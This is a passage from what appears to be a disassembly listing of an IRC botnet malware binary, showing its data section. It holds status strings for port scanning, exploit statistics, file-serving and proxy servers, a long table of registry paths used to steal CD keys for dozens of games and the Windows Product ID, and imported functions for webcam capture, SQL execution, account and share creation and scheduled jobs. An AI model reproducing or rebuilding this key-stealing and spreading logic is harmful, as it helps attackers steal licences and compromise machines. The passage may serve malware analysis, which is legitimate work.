20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_427714 db 2 ; DATA XREF: sub_4071FF+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_427748 db 2 ; DATA XREF: sub_4071FF+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42777C db 2 ; DATA XREF: sub_407276+36Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_4277C4 db 2 ; DATA XREF: sub_407276+307o ; sub_40CE55+5039o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_427814 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_407276+267o dd 2029206Ch, 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_427858 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_407276+1FAo dd 2029206Ch, 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_4278AC db 2 ; DATA XREF: sub_407276+149o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start server, error: <%d>.',0 align 4 unk_4278F4 db 2 ; DATA XREF: sub_407276+DBo ; sub_40CE55+4EC3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_0 db 'Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407652+38o ; sub_40A171+46o unk_427954 db 2 ; DATA XREF: sub_40778B+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_427990 db 2 ; DATA XREF: sub_40778B+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_4279E0 db 2 ; DATA XREF: sub_40799F+1CEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_427A38 db 2 ; DATA XREF: sub_40799F+173o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_427A88 db 2 ; DATA XREF: sub_40799F+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_427AD4 db 2 ; DATA XREF: sub_40799F+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 10h unk_427B20 db 2 ; DATA XREF: sub_407BFE+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 10h unk_427B70 db 2 ; DATA XREF: sub_407BFE+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_427BC8 db 2 ; DATA XREF: sub_407D86+1AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_427C1C db 2 ; DATA XREF: sub_407D86+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_427C74 db 2 ; DATA XREF: sub_40800A+1B2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 4 unk_427CB8 db 2 ; DATA XREF: sub_40800A+18Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_427D04 db 2 ; DATA XREF: sub_40800A+114o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_427D5C db 2 ; DATA XREF: sub_40800A+A8o ; sub_40CE55+587Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_427D98 db 2 ; DATA XREF: sub_40820F+1F9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_427DEC db 2 ; DATA XREF: sub_40820F+18Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 dword_427E3C dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h ; DATA XREF: sub_40820F+F2o dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h dd 0 dd 80000001h off_427E94 dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr ; sub_4085D3+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_427EA0 dd 2 dup(0) dd 80000001h, 429028h, 42901Ch, 42900Ch, 2 dup(0) dd 80000001h, 428FECh, 428FE8h, 428FD4h, 2 dup(0) dd 80000001h, 428FB0h, 428FE8h, 428FA4h, 2 dup(0) dd 80000001h, 428F80h, 428F78h, 428F64h, 2 dup(0) dd 80000001h, 428F50h, 428F40h, 428F24h, 2 dup(0) dd 80000001h, 428EE0h, 429068h, 428ECCh, 2 dup(0) dd 80000002h, 428EA0h, 428E94h, 428E74h, 2 dup(0) dd 80000002h, 428E40h, 429068h, 428E28h, 2 dup(0) dd 80000002h, 428DF4h, 429068h, 428DDCh, 2 dup(0) dd 80000002h, 428DC4h, 429068h, 428DACh, 2 dup(0) dd 80000002h, 428D70h, 438FBCh, 428D60h, 2 dup(0) dd 80000002h, 428D28h, 438FBCh, 428D14h, 2 dup(0) dd 80000002h, 428CC8h, 438FBCh, 428CA8h, 2 dup(0) dd 80000002h, 428C58h, 438FBCh, 428C2Ch, 2 dup(0) dd 80000002h, 428BF0h, 438FBCh, 428BDCh, 2 dup(0) dd 80000002h, 428BA4h, 438FBCh, 428B94h, 2 dup(0) dd 80000002h, 428B44h, 438FBCh, 428B18h, 2 dup(0) dd 80000002h, 428AD8h, 438FBCh, 428ABCh, 2 dup(0) dd 80000002h, 428A8Ch, 438FBCh, 428A6Ch, 2 dup(0) dd 80000002h, 428A30h, 438FBCh, 428A1Ch, 2 dup(0) dd 80000002h, 4289D4h, 438FBCh, 4289B4h, 2 dup(0) dd 80000002h, 428960h, 438FBCh, 428930h, 2 dup(0) dd 80000002h, 4288E0h, 438FBCh, 4288B4h, 2 dup(0) dd 80000002h, 428874h, 42886Ch, 42884Ch, 2 dup(0) dd 80000002h, 428808h, 438FBCh, 4287ECh, 2 dup(0) dd 80000002h, 4287A0h, 438FBCh, 42877Ch, 2 dup(0) dd 80000002h, 428748h, 438FBCh, 42873Ch, 2 dup(0) dd 80000002h, 428708h, 438FBCh, 4286FCh, 2 dup(0) dd 80000002h, 4286C8h, 438FBCh, 4286BCh, 2 dup(0) dd 80000002h, 428688h, 438FBCh, 42867Ch, 2 dup(0) dd 80000002h, 428640h, 438FBCh, 42862Ch, 2 dup(0) dd 80000002h, 4285F0h, 438FBCh, 4285DCh, 2 dup(0) dd 80000002h, 4285ACh, 429068h, 428590h, 2 dup(0) dd 80000002h, 428570h, 428568h, 428544h, 2 dup(0) dd 80000002h, 428528h, 428568h, 428508h, 2 dup(0) dd 80000002h, 4284E8h, 428568h, 4284C4h, 2 dup(0) dd 80000002h, 4284ACh, 428568h, 4284A8h, 2 dup(0) dd 80000002h, 42848Ch, 42847Ch, 428474h, 2 dup(0) dd 80000002h, 428440h, 42843Ch, 428424h, 2 dup(0) dd 80000002h, 4283E8h, 4283DCh, 4283B4h, 4283A4h, 428390h dd 80000002h, 42836Ch, 428360h, 42834Ch, 42833Ch, 428334h dd 80000002h, 42836Ch, 428360h, 428308h, 42833Ch, 428300h dd 80000002h, 42836Ch, 428360h, 4282D0h, 42833Ch, 4282C8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:00427E98o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o align 4 asc_429098: ; DATA XREF: sub_4085D3+E9o ; sub_4085D3+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_4085D3+8Fo ; sub_40CE55:loc_4112ADo unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085D3+7Eo ; sub_4088A0+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo align 4 unk_4290BC db 2 ; DATA XREF: sub_408788+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_4290F0 db 2 ; DATA XREF: sub_408788+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4088A0+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_4088A0+1Ao align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089F2:loc_40962Do align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089F2+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089F2+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089F2+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089F2+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089F2+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089F2:loc_40958Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089F2+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089F2+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089F2:loc_409545o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089F2:loc_4094D1o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089F2+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089F2:loc_409487o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089F2:loc_40943Do align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089F2+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089F2+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089F2+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089F2+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089F2+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089F2+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089F2+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089F2+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089F2:loc_409332o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089F2+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089F2+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089F2+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089F2:loc_4092D3o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089F2+80Eo align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089F2:loc_4091B3o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089F2+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089F2+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089F2+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089F2+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4089F2+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089F2+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089F2+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_4089F2+62Do ; .nsp0:0042C5DCo align 4 aListen db 'listen',0 ; DATA XREF: sub_4089F2+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_4089F2+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_4089F2+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089F2+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4089F2+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4089F2+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_4089F2+5D2o ; sub_40CE55+20D7o align 10h aNtohl db 'ntohl',0 ; DATA XREF: 